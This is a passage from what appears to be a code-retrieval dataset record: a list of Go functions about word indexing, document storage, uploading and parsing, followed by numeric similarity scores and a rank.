1,\\n\\t\\t\\t\\t\\t\\tAvgscore: x.UpVotes,\\n\\t\\t\\t\\t\\t\\tHeur: x.UpVotes,\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t} //endelse\\n\\n\\t\\t\\t\\t//add word to map\\n\\t\\t\\t\\twords[word] = tmpdata\\n\\n\\t\\t\\t\\t//empty word data for user\\n\\t\\t\\t\\ttmpword := SubsWordData{}\\n\\n\\t\\t\\t\\tif userword, wordexists := tmpUser.Words[word]; wordexists {\\n\\t\\t\\t\\t\\t//check if data exists for author, if so update\\n\\t\\t\\t\\t\\ttmpword.Avgscore = ((userword.Avgscore * userword.Numoccur) + x.UpVotes) / (userword.Numoccur + 1)\\n\\t\\t\\t\\t\\ttmpword.Numoccur += 1\\n\\t\\t\\t\\t\\ttmpword.Heur += x.UpVotes\\n\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t//create the data for the word\\n\\t\\t\\t\\t\\ttmpword.Avgscore = x.UpVotes\\n\\t\\t\\t\\t\\ttmpword.Numoccur = 1\\n\\t\\t\\t\\t\\ttmpword.Heur = x.UpVotes\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t//update word in user's word map\\n\\t\\t\\t\\ttmpUser.Words[word] = tmpword\\n\\t\\t\\t\\t// fmt.Println(tmpword)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t}\\n\\t//update user in global usermap\\n\\ttmpUser.Subs = append(tmpUser.Subs, x.Subreddit)\\n\\tusermap[x.Author] = tmpUser\\n\\n}\",\n \"func addWord(words map[string]int) {\\n\\n\\treader := r.NewReader(os.Stdin)\\n\\n\\t// Get a kewyowrd\\n\\tf.Println(\\\"Give a word:\\\")\\n\\tf.Println(\\\"Warning, giving a prexisting word will update the value\\\")\\n\\ttext, err := reader.ReadString('\\\\n')\\n\\n\\t// Hate this repetitious if err return\\n\\tif err != nil {\\n\\t\\tf.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tkey := ss.Replace(text, \\\"\\\\n\\\", \\\"\\\", -1)\\n\\tf.Printf(\\\"[%q] recieved...\\\\n\\\", key)\\n\\n\\t// Get a value\\n\\tval := getVal(words)\\n\\tif val == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Maps are always passed by reference conveniently\\n\\twords[key] = val\\n\\n}\",\n \"func PutDoc(c *gin.Context) {\\n\\tvar doc Document\\n\\tstore := c.MustGet(\\\"store\\\").(*Store)\\n\\ttxn, have_txn := c.Get(\\\"NewRelicTransaction\\\")\\n\\tkey := c.Param(\\\"key\\\")\\n\\n\\terr := c.ShouldBindJSON(&doc)\\n\\tif err != nil {\\n\\t\\tif have_txn {\\n\\t\\t\\ttxn.(newrelic.Transaction).NoticeError(err)\\n\\t\\t}\\n\\t\\tc.JSON(http.StatusUnprocessableEntity, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tstore.Set(key, doc)\\n\\tc.JSON(http.StatusNoContent, nil)\\n}\",\n \"func applyID(doc document.Document, id string) document.Document {\\n\\t// apply id to document\\n\\tdoc[\\\"id\\\"] = id\\n\\n\\treturn doc\\n}\",\n \"func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\\n\\tsents := p.sentTokenizer.Segment(doc)\\n\\tretSents := make([]*basically.Sentence, 0, len(sents))\\n\\tretTokens := make([]*basically.Token, 0, len(sents)*15)\\n\\n\\ttokCounter := 0\\n\\tfor idx, sent := range sents {\\n\\t\\ttokens := p.wordTokenizer.Tokenize(sent.Text)\\n\\t\\ttokens = p.tagger.Tag(tokens)\\n\\n\\t\\t// Convert struct from []*prose.Token to []*basically.Token.\\n\\t\\tbtokens := make([]*basically.Token, 0, len(tokens))\\n\\t\\tfor _, tok := range tokens {\\n\\t\\t\\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\\n\\t\\t\\tbtokens = append(btokens, &btok)\\n\\t\\t\\ttokCounter++\\n\\t\\t}\\n\\n\\t\\t// Analyzes sentence sentiment.\\n\\t\\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\\n\\n\\t\\tretSents = append(retSents, &basically.Sentence{\\n\\t\\t\\tRaw: sent.Text,\\n\\t\\t\\tTokens: btokens,\\n\\t\\t\\tSentiment: sentiment,\\n\\t\\t\\tBias: 1.0,\\n\\t\\t\\tOrder: idx,\\n\\t\\t})\\n\\n\\t\\tretTokens = append(retTokens, btokens...)\\n\\t}\\n\\n\\treturn retSents, retTokens, nil\\n}\",\n \"func computeDoc(bpkg *build.Package) (*doc.Package, error) {\\n\\tfset := token.NewFileSet()\\n\\tfiles := make(map[string]*ast.File)\\n\\tfor _, file := range append(bpkg.GoFiles, bpkg.CgoFiles...) {\\n\\t\\tf, err := parser.ParseFile(fset, filepath.Join(bpkg.Dir, file), nil, parser.ParseComments)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tfiles[file] = f\\n\\t}\\n\\tapkg := &ast.Package{\\n\\t\\tName: bpkg.Name,\\n\\t\\tFiles: files,\\n\\t}\\n\\treturn doc.New(apkg, bpkg.ImportPath, 0), nil\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n\\tp := &this.root\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tj := word[i] - 'a'\\n\\t\\tif p.children[j] == nil {\\n\\t\\t\\tp.children[j] = new(trieNode)\\n\\t\\t}\\n\\t\\tp = p.children[j]\\n\\t}\\n\\tp.exist = true\\n}\",\n \"func (t *TrigramIndex) Delete(doc string, docID int) {\\n\\ttrigrams := ExtractStringToTrigram(doc)\\n\\tfor _, tg := range trigrams {\\n\\t\\tif obj, exist := t.TrigramMap[tg]; exist {\\n\\t\\t\\tif freq, docExist := obj.Freq[docID]; docExist && freq > 1 {\\n\\t\\t\\t\\tobj.Freq[docID] = obj.Freq[docID] - 1\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t//need remove trigram from such docID\\n\\t\\t\\t\\tdelete(obj.Freq, docID)\\n\\t\\t\\t\\tdelete(obj.DocIDs, docID)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif len(obj.DocIDs) == 0 {\\n\\t\\t\\t\\t//this object become empty remove this.\\n\\t\\t\\t\\tdelete(t.TrigramMap, tg)\\n\\t\\t\\t\\t//TODO check if some doc id has no tg remove\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t//update back since there still other doc id exist\\n\\t\\t\\t\\tt.TrigramMap[tg] = obj\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\t//trigram not exist in map, leave\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n}\",\n \"func writeDocumentInfoDict(ctx *Context) error {\\n\\n\\tlog.Write.Printf(\\\"*** writeDocumentInfoDict begin: offset=%d ***\\\\n\\\", ctx.Write.Offset)\\n\\n\\t// Note: The document info object is optional but pdfcpu ensures one.\\n\\n\\tif ctx.Info == nil {\\n\\t\\tlog.Write.Printf(\\\"writeDocumentInfoObject end: No info object present, offset=%d\\\\n\\\", ctx.Write.Offset)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tlog.Write.Printf(\\\"writeDocumentInfoObject: %s\\\\n\\\", *ctx.Info)\\n\\n\\to := *ctx.Info\\n\\n\\td, err := ctx.DereferenceDict(o)\\n\\tif err != nil || d == nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, _, err = writeDeepObject(ctx, o)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.Write.Printf(\\\"*** writeDocumentInfoDict end: offset=%d ***\\\\n\\\", ctx.Write.Offset)\\n\\n\\treturn nil\\n}\",\n \"func (w *Writer) SoftUpdateDocument(term *Term, doc *document.Document, softDeletes ...*document.Field) (int64, error) {\\n\\tupdates, err := w.buildDocValuesUpdate(term, softDeletes)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\tvar delNode *Node\\n\\tif term != nil {\\n\\t\\tdelNode = deleteQueueNewNodeDocValuesUpdates(updates)\\n\\t}\\n\\treturn w.updateDocuments(delNode, []*document.Document{doc})\\n}\",\n \"func (c *Client) Index(d Document, extraArgs url.Values) (*Response, error) {\\n\\tr := Request{\\n\\t\\tQuery: d.Fields,\\n\\t\\tIndexList: []string{d.Index.(string)},\\n\\t\\tTypeList: []string{d.Type},\\n\\t\\tExtraArgs: extraArgs,\\n\\t\\tMethod: \\\"POST\\\",\\n\\t}\\n\\n\\tif d.ID != nil {\\n\\t\\tr.Method = \\\"PUT\\\"\\n\\t\\tr.ID = d.ID.(string)\\n\\t}\\n\\n\\treturn c.Do(&r)\\n}\",\n \"func saveDocument(key string, c *gin.Context) *ResponseType {\\n\\tfilePath := dataDir + \\\"/\\\" + key\\n\\tfi, err := os.Stat(filePath)\\n\\tif err == nil && fi.Size() > 0 {\\n\\t\\treturn newErrorResp(key, \\\"file exists\\\", fmt.Errorf(\\\"file already exists for key %s\\\", key))\\n\\t}\\n\\tf, err := os.Create(filePath)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file creation error\\\", fmt.Errorf(\\\"error creating file for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\tdefer f.Close()\\n\\t_, err = io.Copy(f, c.Request.Body)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file write error\\\", fmt.Errorf(\\\"error copying body to file for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\tname := c.Request.FormValue(\\\"name\\\")\\n\\tcontentType := c.Request.Header.Get(\\\"Content-Type\\\")\\n\\textractor := c.Request.FormValue(\\\"extractor\\\")\\n\\ttitle := c.Request.FormValue(\\\"dc:title\\\")\\n\\tcreation := c.Request.FormValue(\\\"dcterms:created\\\")\\n\\tmodification := c.Request.FormValue(\\\"dcterms:modified\\\")\\n\\tmetadata := DocMetadata{\\n\\t\\tTimestamp: time.Now().Unix(),\\n\\t\\tName: name,\\n\\t\\tContentType: contentType,\\n\\t\\tExtractor: extractor,\\n\\t\\tTitle: title,\\n\\t\\tCreationDate: creation,\\n\\t\\tModificationDate: modification,\\n\\t}\\n\\terr = saveMetadata(key, &metadata)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file metadata write error\\\", fmt.Errorf(\\\"error saving metadata for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\treturn newSuccessResp(key, \\\"document saved\\\")\\n}\",\n \"func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\\n\\tw = SplitForIndexing(idiom.Title, true)\\n\\tw = append(w, fmt.Sprintf(\\\"%d\\\", idiom.Id))\\n\\twTitle = w\\n\\n\\twLead = SplitForIndexing(idiom.LeadParagraph, true)\\n\\tw = append(w, wLead...)\\n\\t// ExtraKeywords as not as important as Title, rather as important as Lead\\n\\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\\n\\twLead = append(wLead, wKeywords...)\\n\\tw = append(w, wKeywords...)\\n\\n\\tfor i := range idiom.Implementations {\\n\\t\\timpl := &idiom.Implementations[i]\\n\\t\\twImpl := impl.ExtractIndexableWords()\\n\\t\\tw = append(w, wImpl...)\\n\\t}\\n\\n\\treturn w, wTitle, wLead\\n}\",\n \"func (ungenerated *Text) generateMarkov() Text {\\r\\n\\tmyMap := map[string][]string{}\\r\\n\\tlines := strings.Split(ungenerated.textdata, \\\"\\\\n\\\")\\r\\n\\tfor _, line := range lines {\\r\\n\\t\\twords := strings.Split(line, \\\" \\\")\\r\\n\\t\\tfor i, word := range words {\\r\\n\\t\\t\\tif i < (len(words) - 1) {\\r\\n\\t\\t\\t\\tmyMap[word] = append(myMap[word], words[i+1])\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tungenerated.datamap = myMap\\r\\n\\treturn *ungenerated\\r\\n}\",\n \"func (d *dictionary) getIndex(word string) tokenID {\\n\\tif idx, found := d.indices[word]; found {\\n\\t\\treturn idx\\n\\t}\\n\\treturn unknownIndex\\n}\",\n \"func (m *ProjectIndexer) Index(resource *models.Project, doc solr.Document) solr.Document {\\n\\tdoc.Set(\\\"type_ssi\\\", \\\"Project\\\")\\n\\tdoc.Set(\\\"title_tesi\\\", resource.Title)\\n\\tdoc.Set(\\\"alternative_title_tesim\\\", resource.AlternativeTitle)\\n\\tdoc.Set(\\\"start_date_ssi\\\", resource.StartDate)\\n\\tdoc.Set(\\\"end_date_ssi\\\", resource.EndDate)\\n\\n\\treturn doc\\n}\",\n \"func uploadDocument(c echo.Context) error {\\n\\n\\tclaim, err := securityCheck(c, \\\"upload\\\")\\n\\tif err != nil {\\n\\t\\treturn c.String(http.StatusUnauthorized, \\\"bye\\\")\\n\\t}\\n\\n\\treq := c.Request()\\n\\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\\n\\n\\tdoc := &DBdoc{}\\n\\tdoc.ID = 0\\n\\tdoc.Name = c.FormValue(\\\"desc\\\")\\n\\tdoc.Type = c.FormValue(\\\"type\\\")\\n\\tRev, _ := strconv.Atoi(c.FormValue(\\\"rev\\\"))\\n\\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\\\"ref_id\\\"))\\n\\tdoc.UserId, _ = getClaimedUser(claim)\\n\\tlog.Println(\\\"Passed bools\\\", c.FormValue(\\\"worker\\\"), c.FormValue(\\\"sitemgr\\\"), c.FormValue(\\\"contractor\\\"))\\n\\tdoc.Worker = (c.FormValue(\\\"worker\\\") == \\\"true\\\")\\n\\tdoc.Sitemgr = (c.FormValue(\\\"sitemgr\\\") == \\\"true\\\")\\n\\tdoc.Contractor = (c.FormValue(\\\"contractor\\\") == \\\"true\\\")\\n\\tdoc.Filesize = 0\\n\\n\\t// make upload dir if not already there, ignore errors\\n\\tos.Mkdir(\\\"uploads\\\", 0666)\\n\\n\\t// Read files\\n\\t// files := req.MultipartForm.File[\\\"file\\\"]\\n\\tfiles, _ := req.FormFile(\\\"file\\\")\\n\\tpath := \\\"\\\"\\n\\t//log.Println(\\\"files =\\\", files)\\n\\t// for _, f := range files {\\n\\tf := files\\n\\tdoc.Filename = f.Filename\\n\\n\\t// Source file\\n\\tsrc, err := f.Open()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer src.Close()\\n\\n\\t// While filename exists, append a version number to it\\n\\tdoc.Path = \\\"uploads/\\\" + doc.Filename\\n\\tgotFile := false\\n\\trevID := 1\\n\\n\\tfor !gotFile {\\n\\t\\tlog.Println(\\\"Try with path=\\\", doc.Path)\\n\\t\\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\\n\\t\\tif err != nil {\\n\\t\\t\\tif os.IsExist(err) {\\n\\t\\t\\t\\tlog.Println(doc.Path, \\\"already exists\\\")\\n\\t\\t\\t\\tdoc.Path = fmt.Sprintf(\\\"uploads/%s.%d\\\", doc.Filename, revID)\\n\\t\\t\\t\\trevID++\\n\\t\\t\\t\\tif revID > 999 {\\n\\t\\t\\t\\t\\tlog.Println(\\\"RevID limit exceeded, terminating\\\")\\n\\t\\t\\t\\t\\treturn c.String(http.StatusBadRequest, doc.Path)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tlog.Println(\\\"Created file\\\", doc.Path)\\n\\t\\t\\tgotFile = true\\n\\t\\t\\tdefer dst.Close()\\n\\n\\t\\t\\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// If we get here, then the file transfer is complete\\n\\n\\t\\t\\t// If doc does not exist by this filename, create it\\n\\t\\t\\t// If doc does exist, create rev, and update header details of doc\\n\\n\\t\\t\\tif Rev == 0 {\\n\\t\\t\\t\\t// New doc\\n\\t\\t\\t\\terr := DB.InsertInto(\\\"doc\\\").\\n\\t\\t\\t\\t\\tWhitelist(\\\"name\\\", \\\"filename\\\", \\\"path\\\", \\\"worker\\\", \\\"sitemgr\\\", \\\"contractor\\\", \\\"type\\\", \\\"ref_id\\\", \\\"filesize\\\", \\\"user_id\\\").\\n\\t\\t\\t\\t\\tRecord(doc).\\n\\t\\t\\t\\t\\tReturning(\\\"id\\\").\\n\\t\\t\\t\\t\\tQueryScalar(&doc.ID)\\n\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserting Record:\\\", err.Error())\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserted new doc with ID\\\", doc.ID)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// Revision to existing doc\\n\\t\\t\\t\\tdocRev := &DBdocRev{}\\n\\t\\t\\t\\tdocRev.Path = doc.Path\\n\\t\\t\\t\\tdocRev.Filename = doc.Filename\\n\\t\\t\\t\\tdocRev.Filesize = doc.Filesize\\n\\t\\t\\t\\tdocRev.DocId = doc.ID\\n\\t\\t\\t\\tdocRev.ID = Rev\\n\\t\\t\\t\\tdocRev.Descr = doc.Name\\n\\t\\t\\t\\tdocRev.UserId = doc.UserId\\n\\n\\t\\t\\t\\t_, err := DB.InsertInto(\\\"doc_rev\\\").\\n\\t\\t\\t\\t\\tWhitelist(\\\"doc_id\\\", \\\"id\\\", \\\"descr\\\", \\\"filename\\\", \\\"path\\\", \\\"filesize\\\", \\\"user_id\\\").\\n\\t\\t\\t\\t\\tRecord(docRev).\\n\\t\\t\\t\\t\\tExec()\\n\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserting revision:\\\", err.Error())\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserted new revision with ID\\\", docRev.ID)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\n\\t\\t} // managed to create the new file\\n\\t\\t// } // loop until we have created a file\\n\\t} // foreach file being uploaded this batch\\n\\n\\treturn c.String(http.StatusOK, path)\\n}\",\n \"func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\\n\\tparams := r.URL.Query()\\n\\tcollection := params.Get(\\\"collection\\\")\\n\\n\\tif collection == \\\"\\\" {\\n\\t\\trespondWithError(w, r, \\\"Collection query parameter is required\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif !s.Exists(collection) {\\n\\t\\trespondWithError(w, r, \\\"Collection does not exist\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tbytes, err := ioutil.ReadAll(r.Body)\\n\\n\\tif err != nil {\\n\\t\\trespondWithError(w, r, \\\"Error reading body\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(bytes) == 0 {\\n\\t\\trespondWithError(w, r, \\\"Error document missing\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tvar doc document\\n\\terr = json.Unmarshal(bytes, &doc)\\n\\tif err != nil {\\n\\t\\trespondWithError(w, r, \\\"Error parsing document JSON\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(doc.Id) == 0 {\\n\\t\\trespondWithError(w, r, fmt.Sprintf(\\\"Error document id is required, not found in: %v\\\", string(bytes)))\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(doc.Fields) == 0 {\\n\\t\\trespondWithError(w, r, \\\"Error document is missing fields\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\td := search.NewDocument()\\n\\td.Id = doc.Id\\n\\tfor k, v := range doc.Fields {\\n\\t\\td.Fields[k] = &search.Field{Value: v}\\n\\t}\\n\\n\\ts.Index(collection, d)\\n\\trespondWithSuccess(w, r, \\\"Success, document indexed\\\")\\n}\",\n \"func NewWordSearch(tree *WordTree) *WordSearch {\\n\\treturn &WordSearch{\\n\\t\\ttree: tree,\\n\\t}\\n}\",\n \"func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\\n\\t//fmt.Printf(\\\"(Parse_cwl_document) starting\\\\n\\\")\\n\\n\\tif useObjectID != \\\"\\\" {\\n\\t\\tif !strings.HasPrefix(useObjectID, \\\"#\\\") {\\n\\t\\t\\terr = fmt.Errorf(\\\"(NewCWLObject) useObjectID has not # as prefix (%s)\\\", useObjectID)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tif existingContext != nil {\\n\\t\\tcontext = existingContext\\n\\t} else {\\n\\t\\tcontext = NewWorkflowContext()\\n\\t\\tcontext.Path = inputfilePath\\n\\t\\tcontext.InitBasic()\\n\\t}\\n\\n\\tgraphPos := strings.Index(yamlStr, \\\"$graph\\\")\\n\\n\\t//yamlStr = strings.Replace(yamlStr, \\\"$namespaces\\\", \\\"namespaces\\\", -1)\\n\\t//fmt.Println(\\\"yamlStr:\\\")\\n\\t//fmt.Println(yamlStr)\\n\\n\\tif graphPos != -1 {\\n\\t\\t// *** graph file ***\\n\\t\\t//yamlStr = strings.Replace(yamlStr, \\\"$graph\\\", \\\"graph\\\", -1) // remove dollar sign\\n\\t\\tlogger.Debug(3, \\\"(Parse_cwl_document) graph document\\\")\\n\\t\\t//fmt.Printf(\\\"(Parse_cwl_document) ParseCWLGraphDocument\\\\n\\\")\\n\\t\\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\\n\\t\\tif err != nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\\\", err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tlogger.Debug(3, \\\"(Parse_cwl_document) simple document\\\")\\n\\t\\t//fmt.Printf(\\\"(Parse_cwl_document) ParseCWLSimpleDocument\\\\n\\\")\\n\\n\\t\\t//useObjectID := \\\"#\\\" + inputfilePath\\n\\n\\t\\tvar objectID string\\n\\n\\t\\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\\n\\t\\tif err != nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\\\", err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tnewEntrypoint = objectID\\n\\t}\\n\\tif len(objectArray) == 0 {\\n\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\\\", graphPos)\\n\\t\\treturn\\n\\t}\\n\\t//fmt.Printf(\\\"(Parse_cwl_document) end\\\\n\\\")\\n\\treturn\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.65618867","0.5774087","0.5179397","0.509619","0.50642025","0.50336915","0.5028813","0.4981031","0.49766782","0.4975042","0.47363344","0.47275934","0.47259763","0.46811298","0.46737698","0.4633672","0.4614339","0.45814222","0.45336673","0.4526141","0.44993648","0.44952527","0.44856003","0.44618204","0.44428056","0.4437074","0.44359908","0.44069085","0.4402705","0.43579403","0.43531978","0.43530053","0.4351596","0.43478578","0.43370143","0.43189865","0.4311229","0.4309088","0.42713174","0.42466584","0.42364532","0.42354342","0.42344934","0.4231791","0.4223778","0.42205006","0.42191634","0.42058283","0.41979027","0.41950873","0.4193255","0.41926917","0.41905087","0.41904554","0.4188721","0.41881156","0.41876686","0.41768458","0.41763318","0.41750348","0.4164649","0.41596147","0.4154252","0.41525975","0.41512308","0.41335794","0.41332972","0.41307473","0.41306484","0.41209164","0.41182494","0.4111765","0.41109797","0.4105425","0.409986","0.40955874","0.40869507","0.4077204","0.40767938","0.4075924","0.40650588","0.40643686","0.4063296","0.40588385","0.405707","0.40555325","0.40516928","0.40456465","0.404266","0.40397006","0.4020129","0.40197414","0.40190142","0.40092355","0.40083832","0.40051726","0.40038586","0.3982807","0.39799237","0.3979541"],"string":"[\n \"0.65618867\",\n \"0.5774087\",\n \"0.5179397\",\n \"0.509619\",\n \"0.50642025\",\n \"0.50336915\",\n \"0.5028813\",\n \"0.4981031\",\n \"0.49766782\",\n \"0.4975042\",\n \"0.47363344\",\n \"0.47275934\",\n \"0.47259763\",\n \"0.46811298\",\n \"0.46737698\",\n \"0.4633672\",\n \"0.4614339\",\n \"0.45814222\",\n \"0.45336673\",\n \"0.4526141\",\n \"0.44993648\",\n \"0.44952527\",\n \"0.44856003\",\n \"0.44618204\",\n \"0.44428056\",\n \"0.4437074\",\n \"0.44359908\",\n \"0.44069085\",\n \"0.4402705\",\n \"0.43579403\",\n \"0.43531978\",\n \"0.43530053\",\n \"0.4351596\",\n \"0.43478578\",\n \"0.43370143\",\n \"0.43189865\",\n \"0.4311229\",\n \"0.4309088\",\n \"0.42713174\",\n \"0.42466584\",\n \"0.42364532\",\n \"0.42354342\",\n \"0.42344934\",\n \"0.4231791\",\n \"0.4223778\",\n \"0.42205006\",\n \"0.42191634\",\n \"0.42058283\",\n \"0.41979027\",\n \"0.41950873\",\n \"0.4193255\",\n \"0.41926917\",\n \"0.41905087\",\n \"0.41904554\",\n \"0.4188721\",\n \"0.41881156\",\n \"0.41876686\",\n \"0.41768458\",\n \"0.41763318\",\n \"0.41750348\",\n \"0.4164649\",\n \"0.41596147\",\n \"0.4154252\",\n \"0.41525975\",\n \"0.41512308\",\n \"0.41335794\",\n \"0.41332972\",\n \"0.41307473\",\n \"0.41306484\",\n \"0.41209164\",\n \"0.41182494\",\n \"0.4111765\",\n \"0.41109797\",\n \"0.4105425\",\n \"0.409986\",\n \"0.40955874\",\n \"0.40869507\",\n \"0.4077204\",\n \"0.40767938\",\n \"0.4075924\",\n \"0.40650588\",\n \"0.40643686\",\n \"0.4063296\",\n \"0.40588385\",\n \"0.405707\",\n \"0.40555325\",\n \"0.40516928\",\n \"0.40456465\",\n \"0.404266\",\n \"0.40397006\",\n \"0.4020129\",\n \"0.40197414\",\n \"0.40190142\",\n \"0.40092355\",\n \"0.40083832\",\n \"0.40051726\",\n \"0.40038586\",\n \"0.3982807\",\n \"0.39799237\",\n \"0.3979541\"\n]"},"document_score":{"kind":"string","value":"0.84503996"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106194,"cells":{"query":{"kind":"string","value":"createTargetIndexedDocument creates an indexed document without adding the words to the classifier dictionary. This should be used for matching targets, not populating the corpus."},"document":{"kind":"string","value":"func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\n\tdoc := tokenize(in)\n\treturn c.generateIndexedDocument(doc, false)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\n\tid := &indexedDocument{\n\t\tTokens: make([]indexedToken, 0, len(d.Tokens)),\n\t\tdict: c.dict,\n\t}\n\n\tfor _, t := range d.Tokens {\n\t\tvar tokID tokenID\n\t\tif addWords {\n\t\t\ttokID = id.dict.add(t.Text)\n\t\t} else {\n\t\t\ttokID = id.dict.getIndex(t.Text)\n\t\t}\n\n\t\tid.Tokens = append(id.Tokens, indexedToken{\n\t\t\tIndex: t.Index,\n\t\t\tLine: t.Line,\n\t\t\tID: tokID,\n\t\t})\n\n\t}\n\tid.generateFrequencies()\n\tid.runes = diffWordsToRunes(id, 0, id.size())\n\tid.norm = id.normalized()\n\treturn id\n}","func generateIndex(textsNumber int, wordsNumber int) *Index {\n\ttitles := make([]string, textsNumber)\n\tentries := make(map[string]Set)\n\tfor i := 0; i < textsNumber; i++ {\n\t\ttitles[i] = fmt.Sprintf(\"title-with-number-%d\", i)\n\t}\n\tfor i := 0; i < wordsNumber; i++ {\n\t\tset := Set{}\n\t\tfor j := 0; j < textsNumber; j++ {\n\t\t\tset.Put(j)\n\t\t}\n\t\tentries[fmt.Sprintf(\"w%d\", i)] = set\n\t}\n\treturn &Index{\n\t\tTitles: titles,\n\t\tData: entries,\n\t}\n}","func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\n\treturn &documentIndex{\n\t\tindex: map[string][]byte{},\n\t\topts: opts,\n\t}\n}","func CreateIndex(excludedPaths []string) (Index, error) {\n\tglog.V(1).Infof(\"CreateIndex(%v)\", excludedPaths)\n\n\tmapping := bleve.NewIndexMapping()\n\tif len(excludedPaths) > 0 {\n\t\tcustomMapping := bleve.NewDocumentMapping()\n\t\tfor _, path := range excludedPaths {\n\t\t\tpaths := strings.Split(path, \".\")\n\t\t\tpathToMapping(paths, customMapping)\n\t\t}\n\t\tmapping.DefaultMapping = customMapping\n\t}\n\tindex, err := bleve.NewMemOnly(mapping)\n\n\tif err != nil {\n\t\tglog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tbatch := index.NewBatch()\n\n\treturn &bleveIndex{\n\t\tindex: index,\n\t\taddInc: 0,\n\t\tbatch: batch,\n\t}, nil\n}","func CreateIndex(context *web.AppContext) *web.AppError {\n\n\tdb := context.MDB\n\tvar input model.Index\n\tjson.NewDecoder(context.Body).Decode(&input)\n\n\terr := db.Session.DB(\"\").C(input.Target).EnsureIndex(input.Index)\n\tif err != nil {\n\t\tmessage := fmt.Sprintf(\"Error creating index [%+v]\", input)\n\t\treturn &web.AppError{err, message, http.StatusInternalServerError}\n\t}\n\n\treturn nil\n}","func CreateIndex(fromKind string, fromKindFieldName string, toKind string,\n\textractor ForeignKeyExtractor) {\n\n\ti := Indexes[fromKind]\n\tif i == nil {\n\t\ti = make(map[string]string)\n\t\tIndexes[fromKind] = i\n\t}\n\ti[fromKindFieldName] = toKind\n\n\tfkv := 